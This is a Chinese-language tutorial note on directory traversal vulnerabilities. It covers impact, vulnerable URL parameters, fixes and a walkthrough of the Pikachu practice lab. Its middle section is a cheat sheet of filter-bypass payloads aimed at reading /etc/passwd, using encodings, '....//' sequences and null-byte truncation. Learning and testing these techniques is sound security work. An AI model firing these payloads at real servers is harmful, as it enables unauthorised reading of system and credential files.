目录遍历(也称为文件路径遍历)是一种 Web 安全漏洞,允许攻击者读取运行应用程序的服务器上的任意文件。
危害:
1、读取的文件可能包括应用程序代码和数据、后端系统的凭据以及敏感的操作系统文件等。
2、在某些情况下,攻击者可能能够写入服务器上的任意文件,从而允许他们修改应用程序数据或行为,并最终完全控制服务器
../ #返回上级目录
漏洞挖掘:
场景:图片
参数:URL中有这样特征的需要注意
?page=a.php
?home=b.html
?file=content
filename
绕过:
1、过滤../
方法:绝对路径:/etc/passwd
?filename=/etc/passwd
2、针对过滤../
构造../
?filename=....//....//....//etc/passwd
3、过滤../
方法:编码绕过(服务器能够解析的编码)
URL编码/URL双编码:%2e%2e%2f、%252e%252e%252f、..%252f ---- ../
%2e%2e%5c、%252e%252e%255c、..%255c ---- ..\
非标准编码: ..%c0%af、..%ef%bc%8f、..%co%af ---- ../
..%u2216、..%c1%9c ---- ..\
服务器能够解析的编码:如base64
4、目录限定(验证开始路径)
方法:使用特殊符号:~ 等
?filename=/var/www/images/../../../etc/passwd
?filename=~/../etc/passwd
5、验证文件拓展名
方法:截断后缀:%00、%0a、%20等等
?filename=../../../../../../../etc/passwd%00.jpg
?filename=../../../../../../../etc/passwd%0a.jpg
?filename=../../../../../../../etc/passwd%20
修复建议:
1、过滤../
2、验证白名单,如纯字母数字字符
3、目录限定:对最终的文件路径进行判断,确保请求文件完整目录后的头N个字符与文档根目录完全相同
打开pikachu靶场,目录遍历,点击”we're jarheads!“
打开靶场目录,在soup上一级创建1.txt,并写入内容
查看jarheads.php
这里直接把传进来的内容进行了require(),造成问题
通过构造路径,查询出1.txt的内容:../1.txt
成功显示出1.txt的内容